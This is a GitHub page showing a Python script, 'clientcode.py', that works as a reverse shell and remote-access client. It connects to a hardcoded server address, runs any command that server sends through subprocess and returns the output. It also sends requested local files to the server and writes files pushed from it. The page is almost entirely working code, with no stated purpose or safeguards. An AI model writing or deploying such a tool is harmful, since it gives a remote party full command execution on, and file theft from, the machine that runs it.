-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclientcode.py
More file actions
85 lines (71 loc) · 2.38 KB
/
clientcode.py
File metadata and controls
85 lines (71 loc) · 2.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import socket
import os
import subprocess
HOST = "192.168.1.101" # The server's hostname or IP address
PORT = 65432 # The port used by the server
FORMAT = 'UTF-8'
def send_file(sock: socket, filepath: str):
try:
fp = open(filepath, "rb")
data1 = fp.read(1024)
while data1:
sock.sendall(data1)
msg = sock.recv(1024).decode(FORMAT)
if msg != 'Successful':
print('a problem occurred')
fp.close()
return
data1 = fp.read(1024)
fp.close()
data1 = "enDOfFiLe".encode(FORMAT)
sock.sendall(data1)
msg = sock.recv(1024).decode(FORMAT)
if msg != 'Successful':
print('a problem occurred')
return
print("file sent")
except IOError:
data1 = "fILenOTopEn".encode(FORMAT)
sock.sendall(data1)
def receive_data(sock: socket, filepath: str):
try:
fo = open(filepath, "wb")
msg = "Successful".encode(FORMAT)
sock.sendall(msg)
data2 = sock.recv(1024)
sock.sendall(msg)
while data2:
fo.write(data2)
data2 = sock.recv(1024)
sock.sendall(msg)
if data2 == "enDOfFiLe".encode(FORMAT):
break
fo.close()
print('file received')
except IOError:
data2 = "fILenOTopEn".encode(FORMAT)
sock.sendall(data2)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
while 1:
data = s.recv(1024).decode(FORMAT)
if not data:
print('connection closed by server')
break
data_split = data.split()
num = data.find(" ") + 1
if data_split[0] == 'DOWNLOAD':
send_file(s, data[num:])
elif data_split[0] == 'UPLOAD':
receive_data(s, data[num:])
elif data_split[0] == 'cd':
try:
os.chdir(data[num:])
s.sendall("Successfully changed direction".encode(FORMAT))
except:
s.sendall("not Successful".encode(FORMAT))
else:
message = subprocess.Popen(data.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = message.communicate()
end_message = stdout.__add__(stderr)
s.sendall(end_message)